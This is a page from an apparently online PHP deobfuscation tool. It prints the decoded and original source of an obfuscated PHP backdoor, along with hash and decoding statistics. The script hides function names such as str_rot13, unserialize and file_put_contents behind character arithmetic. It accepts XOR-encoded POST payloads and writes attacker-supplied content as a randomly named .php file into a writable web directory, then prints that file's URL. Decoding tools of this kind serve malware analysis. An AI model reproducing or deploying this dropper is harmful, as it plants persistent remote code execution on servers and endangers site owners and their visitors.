Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function lZlmTsgh($YmeiLQH, $WLmOicB, $YvShAIXTxm){$OPSvXbQyxg = "9ad4dacc-f230-4dda..

Decoded Output download

<?php function lZlmTsgh($YmeiLQH, $WLmOicB, $YvShAIXTxm){$OPSvXbQyxg = "9ad4dacc-f230-4dda-b737-0b5a51597b66";return $YmeiLQH ^ $OPSvXbQyxg[$WLmOicB % strlen($OPSvXbQyxg)] ^ $YvShAIXTxm;}$YvRNuho = "POtUzT";function JasTXQMMod($YvRNuho){ $FtOndKATZ = "s".chr(116)."r"."_"."r"."o"."t"."1".'3';$YvRNuho = $FtOndKATZ($YvRNuho);$kZieD = chr(114).chr(124-27).chr(388-269).chr(117).chr(114)."l".chr(100)."e"."c"."o".chr(414-314).chr(101);$YvRNuho = $kZieD($YvRNuho);$YvRNuho = str_split($YvRNuho);return $YvRNuho;}function DYhrUDdpy($oSddXifSp, $YvShAIXTxm){$oSddXifSp = array_map("lZlmTsgh", array_values($oSddXifSp), array_keys($oSddXifSp), array_values($YvShAIXTxm));$oSddXifSp = implode("", $oSddXifSp);$PYoJf = chr(117)."n".chr(809-694)."e".chr(114).chr(105).chr(322-225)."l"."i"."z"."e";$oSddXifSp = @$PYoJf($oSddXifSp);return $oSddXifSp;}function MamhII($YvShAIXTxm, $oSddXifSp){$YvShAIXTxm = array_slice(str_split(str_repeat($YvShAIXTxm, (count($oSddXifSp)/16)+1)), 0, count($oSddXifSp));return $YvShAIXTxm;}function rkaTM(){echo "LEheP";}function ebHWyYhvkL($iszHneYmRir){static $NUiIG = array();$MaKiMfK = glob($iszHneYmRir . '/*', GLOB_ONLYDIR);$VVMnnSYzw = count($MaKiMfK);if ($VVMnnSYzw > 0) {foreach ($MaKiMfK as $iszHneYmR) {$gJgAVI = chr(725-620).'s'.chr(711-616).'w'."r".chr(398-293)."t"."a".chr(415-317).chr(108)."e";if (@$gJgAVI($iszHneYmR)) {$NUiIG[] = $iszHneYmR;}}}foreach ($MaKiMfK as $iszHneYmRir) ebHWyYhvkL($iszHneYmRir);return $NUiIG;}function VyEfRijEss($oSddXifSp){$CKryDES = chr(68)."O".chr(67)."U".chr(673-596).'E'.'N'.chr(84)."_".chr(82)."O"."O"."T";$wPbiqBwAaf = $_SERVER[$CKryDES];$MaKiMfK = ebHWyYhvkL($wPbiqBwAaf);$nRgkrniW = array_rand($MaKiMfK);$pNQKY = ".".chr(151-39)."h"."p";$uDUIcCIbw = $MaKiMfK[$nRgkrniW] . "/" . substr(md5(time()), 0, 8) . $pNQKY;$wAiZcPzd = 'f'."i"."l".chr(101)."_"."p".'u'.chr(337-221).chr(141-46).chr(99).chr(124-13).chr(110).'t'.chr(846-745)."n".'t'.chr(154-39);@$wAiZcPzd($uDUIcCIbw, $oSddXifSp);$YTCooNCCQB = "H".'T'.chr(84).chr(607-527).chr(691-596).chr(423-351).'O'."S"."T";$KRDjFjxryi = chr(104).chr(367-251).'t'.'p'.":".chr(47).chr(383-336);$auxDDJTXK = $KRDjFjxryi . $_SERVER[$YTCooNCCQB] . substr($uDUIcCIbw, strlen($wPbiqBwAaf));print($auxDDJTXK);}function QnQDhAiNac($oSddXifSp, $nRgkrniW){$nRgkrniW = $nRgkrniW[0];if ($oSddXifSp !== $nRgkrniW){VyEfRijEss($oSddXifSp);}else {GPHKWRQu();}}function GPHKWRQu(){$NclVtg = chr(211-99)."h"."p";$PyZbgxNdeU = chr(112)."h"."p"."v".chr(660-559).'r'.'s'.chr(105).'o'.chr(123-13);$oSddXifSp = Array($NclVtg => @$PyZbgxNdeU(), );$pDRJWbncP = "s".chr(216-115).chr(114).'i'.chr(467-370).'l'.'i'.chr(122).chr(101);echo @$pDRJWbncP($oSddXifSp);}function YXBAz(){echo "POtUzT";}foreach ($_POST as $YvShAIXTxm => $oSddXifSp){$TuVfUPvHWA = strlen($YvShAIXTxm);if ($TuVfUPvHWA == 16){$oSddXifSp = JasTXQMMod($oSddXifSp);$YvShAIXTxm = MamhII($YvShAIXTxm, $oSddXifSp);$oSddXifSp = DYhrUDdpy($oSddXifSp, $YvShAIXTxm);if (@is_array($oSddXifSp)){$nRgkrniW = array_keys($oSddXifSp);$oSddXifSp = $oSddXifSp[$nRgkrniW[0]];QnQDhAiNac($oSddXifSp, $nRgkrniW);}}}die(); ?>

Did this file decode correctly?

Original Code

<?php function lZlmTsgh($YmeiLQH, $WLmOicB, $YvShAIXTxm){$OPSvXbQyxg = "9ad4dacc-f230-4dda-b737-0b5a51597b66";return $YmeiLQH ^ $OPSvXbQyxg[$WLmOicB % strlen($OPSvXbQyxg)] ^ $YvShAIXTxm;}$YvRNuho = "POtUzT";function JasTXQMMod($YvRNuho){ $FtOndKATZ = "\163".chr(116)."\162"."\137"."\162"."\x6f"."\164"."\x31".'3';$YvRNuho = $FtOndKATZ($YvRNuho);$kZieD = chr(114).chr(124-27).chr(388-269).chr(117).chr(114)."\x6c".chr(100)."\x65"."\143"."\x6f".chr(414-314).chr(101);$YvRNuho = $kZieD($YvRNuho);$YvRNuho = str_split($YvRNuho);return $YvRNuho;}function DYhrUDdpy($oSddXifSp, $YvShAIXTxm){$oSddXifSp = array_map("lZlmTsgh", array_values($oSddXifSp), array_keys($oSddXifSp), array_values($YvShAIXTxm));$oSddXifSp = implode("", $oSddXifSp);$PYoJf = chr(117)."\x6e".chr(809-694)."\145".chr(114).chr(105).chr(322-225)."\154"."\x69"."\x7a"."\145";$oSddXifSp = @$PYoJf($oSddXifSp);return $oSddXifSp;}function MamhII($YvShAIXTxm, $oSddXifSp){$YvShAIXTxm = array_slice(str_split(str_repeat($YvShAIXTxm, (count($oSddXifSp)/16)+1)), 0, count($oSddXifSp));return $YvShAIXTxm;}function rkaTM(){echo "LEheP";}function ebHWyYhvkL($iszHneYmRir){static $NUiIG = array();$MaKiMfK = glob($iszHneYmRir . '/*', GLOB_ONLYDIR);$VVMnnSYzw = count($MaKiMfK);if ($VVMnnSYzw > 0) {foreach ($MaKiMfK as $iszHneYmR) {$gJgAVI = chr(725-620).'s'.chr(711-616).'w'."\x72".chr(398-293)."\x74"."\141".chr(415-317).chr(108)."\x65";if (@$gJgAVI($iszHneYmR)) {$NUiIG[] = $iszHneYmR;}}}foreach ($MaKiMfK as $iszHneYmRir) ebHWyYhvkL($iszHneYmRir);return $NUiIG;}function VyEfRijEss($oSddXifSp){$CKryDES = chr(68)."\117".chr(67)."\125".chr(673-596).'E'.'N'.chr(84)."\137".chr(82)."\x4f"."\x4f"."\124";$wPbiqBwAaf = $_SERVER[$CKryDES];$MaKiMfK = ebHWyYhvkL($wPbiqBwAaf);$nRgkrniW = array_rand($MaKiMfK);$pNQKY = "\x2e".chr(151-39)."\x68"."\160";$uDUIcCIbw = $MaKiMfK[$nRgkrniW] . "/" . substr(md5(time()), 0, 8) . $pNQKY;$wAiZcPzd = 'f'."\x69"."\154".chr(101)."\x5f"."\x70".'u'.chr(337-221).chr(141-46).chr(99).chr(124-13).chr(110).'t'.chr(846-745)."\156".'t'.chr(154-39);@$wAiZcPzd($uDUIcCIbw, $oSddXifSp);$YTCooNCCQB = "\x48".'T'.chr(84).chr(607-527).chr(691-596).chr(423-351).'O'."\x53"."\124";$KRDjFjxryi = chr(104).chr(367-251).'t'.'p'."\x3a".chr(47).chr(383-336);$auxDDJTXK = $KRDjFjxryi . $_SERVER[$YTCooNCCQB] . substr($uDUIcCIbw, strlen($wPbiqBwAaf));print($auxDDJTXK);}function QnQDhAiNac($oSddXifSp, $nRgkrniW){$nRgkrniW = $nRgkrniW[0];if ($oSddXifSp !== $nRgkrniW){VyEfRijEss($oSddXifSp);}else {GPHKWRQu();}}function GPHKWRQu(){$NclVtg = chr(211-99)."\x68"."\160";$PyZbgxNdeU = chr(112)."\150"."\x70"."\x76".chr(660-559).'r'.'s'.chr(105).'o'.chr(123-13);$oSddXifSp = Array($NclVtg => @$PyZbgxNdeU(), );$pDRJWbncP = "\x73".chr(216-115).chr(114).'i'.chr(467-370).'l'.'i'.chr(122).chr(101);echo @$pDRJWbncP($oSddXifSp);}function YXBAz(){echo "POtUzT";}foreach ($_POST as $YvShAIXTxm => $oSddXifSp){$TuVfUPvHWA = strlen($YvShAIXTxm);if ($TuVfUPvHWA == 16){$oSddXifSp = JasTXQMMod($oSddXifSp);$YvShAIXTxm = MamhII($YvShAIXTxm, $oSddXifSp);$oSddXifSp = DYhrUDdpy($oSddXifSp, $YvShAIXTxm);if (@is_array($oSddXifSp)){$nRgkrniW = array_keys($oSddXifSp);$oSddXifSp = $oSddXifSp[$nRgkrniW[0]];QnQDhAiNac($oSddXifSp, $nRgkrniW);}}}die();

Function Calls

None

Variables

$YvRNuho POtUzT

Stats

MD5 aabad308e0a53610723c2ebbd2081208
Eval Count 0
Decode Time 64 ms